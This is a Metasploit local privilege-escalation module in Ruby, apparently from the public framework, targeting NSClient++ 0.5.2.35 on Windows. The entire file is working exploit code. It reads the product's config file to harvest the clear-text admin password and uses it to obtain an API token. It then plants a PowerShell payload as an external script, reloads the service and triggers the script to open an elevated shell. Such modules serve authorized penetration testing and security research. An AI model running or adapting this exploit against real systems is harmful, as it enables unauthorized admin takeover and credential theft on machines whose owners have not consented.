## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Exploit::Remote::HttpClient include ::Msf::Exploit::Powershell prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'NSClient++ 0.5.2.35 - Privilege escalation', 'Description' => %q{ This module allows an attacker with an unprivileged windows account to gain admin access on windows system and start a shell. For this module to work, both the NSClient++ web interface and `ExternalScripts` features must be enabled. You must also know where the NSClient config file is, as it is used to read the admin password which is stored in clear text. }, 'License' => MSF_LICENSE, 'Author' => [ # This module is kind of mix of the two following POCs : 'kindredsec', # POC on www.exploit-db.com 'BZYO', # POC on www.exploit-db.com 'Yann Castel (yann.castel[at]orange.com)' # Metasploit module ], 'References' => [ ['EDB', '48360'], ['EDB', '46802'] ], 'Platform' => %w[windows], 'Arch' => [ARCH_X64], 'Targets' => [ [ 'Windows', { 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :windows_powershell } ] ], 'Privileged' => true, 'DisclosureDate' => '2020-10-20', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ] }, 'DefaultOptions' => { 'SSL' => true, 'RPORT' => 8443 } ) ) deregister_options('RHOSTS') register_options [ OptString.new('FILE', [true, 'Config file of NSClient', 'C:\\Program Files\\NSClient++\\nsclient.ini']), OptInt.new('DELAY', [true, 'Delay (in sec.) between each attempt of checking nscp status', 2]) ] end def rhost session.session_host end def configure_payload(token, cmd, key) print_status('Configuring Script with Specified Payload . . .') plugin_id = rand(1..10000).to_s node = { 'path' => '/settings/external scripts/scripts', 'key' => key } value = { 'string_data' => cmd } update = { 'node' => node, 'value' => value } payload = [ { 'plugin_id' => plugin_id, 'update' => update } ] json_data = { 'type' => 'SettingsRequestMessage', 'payload' => payload } r = send_request_cgi({ 'method' => 'POST', 'data' => JSON.generate(json_data), 'headers' => { 'TOKEN' => token }, 'uri' => normalize_uri('/settings/query.json') }) if !(r&.body.to_s.include? 'STATUS_OK') print_error('Error configuring payload. Hit error at: ' + endpoint) end print_status('Added External Script (name: ' + key + ')') sleep(3) print_status('Saving Configuration . . .') header = { 'version' => '1' } payload = [ { 'plugin_id' => plugin_id, 'control' => { 'command' => 'SAVE' } } ] json_data = { 'header' => header, 'type' => 'SettingsRequestMessage', 'payload' => payload } send_request_cgi({ 'method' => 'POST', 'data' => JSON.generate(json_data), 'headers' => { 'TOKEN' => token }, 'uri' => normalize_uri('/settings/query.json') }) end def reload_config(token) print_status('Reloading Application . . .') send_request_cgi({ 'method' => 'GET', 'headers' => { 'TOKEN' => token }, 'uri' => normalize_uri('/core/reload') }) print_status('Waiting for Application to reload . . .') sleep(10) response = false count = 0 until response begin sleep(datastore['DELAY']) r = send_request_cgi({ 'method' => 'GET', 'headers' => { 'TOKEN' => token }, 'uri' => normalize_uri('/') }) if r && !r.body.empty? response = true end rescue StandardError print_error("Request could not be sent. #{e.class} error raised with message '#{e.message}'") end count += 1 if count > 10 fail_with(Failure::Unreachable, 'Application failed to reload. Nice DoS exploit!') end end end def trigger_payload(token, key) print_status('Triggering payload, should execute shortly . . .') send_request_cgi({ 'method' => 'GET', 'headers' => { 'TOKEN' => token }, 'uri' => normalize_uri("/query/#{key}") }) rescue StandardError print_error("Request could not be sent. #{e.class} error raised with message '#{e.message}'") end def external_scripts_feature_enabled?(token) r = send_request_cgi({ 'method' => 'GET', 'headers' => { 'TOKEN' => token }, 'uri' => normalize_uri('/registry/control/module/load'), 'vars_get' => { 'name' => 'CheckExternalScripts' } }) r&.body.to_s.include? 'STATUS_OK' end def get_auth_token(pwd) r = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri('/auth/token?password=' + pwd) }) if r&.code == 200 auth_token = r.body.to_s[/"auth token": "(\w*)"/, 1] return auth_token end rescue StandardError => e print_error("Request could not be sent. #{e.class} error raised with message '#{e.message}'") end def get_arg(line) line.split('=')[1].gsub(/\s+/, '') end def leak_info file_contents = read_file(datastore['FILE']) return unless file_contents a = file_contents.split("\n") pwd = nil web_server_enabled = false a.each do |x| if x =~ /password/ pwd = get_arg(x) print_good("Admin password found : #{pwd}") elsif x =~ /WEBServer/ if x =~ /enabled/ web_server_enabled = true print_good('NSClient web interface is enabled !') end end end return pwd, web_server_enabled end def check datastore['RHOST'] = session.session_host pwd, web_server_enabled = leak_info if pwd.nil? CheckCode::Unknown('Admin password not found in config file') elsif !web_server_enabled CheckCode::Safe('NSClient web interface is disabled') else token = get_auth_token(pwd) if token.nil? CheckCode::Unknown('Unable to get an authentication token, maybe the target is safe') elsif external_scripts_feature_enabled?(token) CheckCode::Vulnerable('External scripts feature enabled !') else CheckCode::Safe('External scripts feature disabled !') end end end def exploit datastore['RHOST'] = session.session_host pwd, _web_server_enabled = leak_info cmd = cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true) token = get_auth_token(pwd) if token rand_key = rand_text_alpha_lower(10) configure_payload(token, cmd, rand_key) reload_config(token) token = get_auth_token(pwd) # reloading the app might imply the need to create a new auth token as the former could have been deleted trigger_payload(token, rand_key) else print_error('Auth token couldn\'t be retrieved.') end end end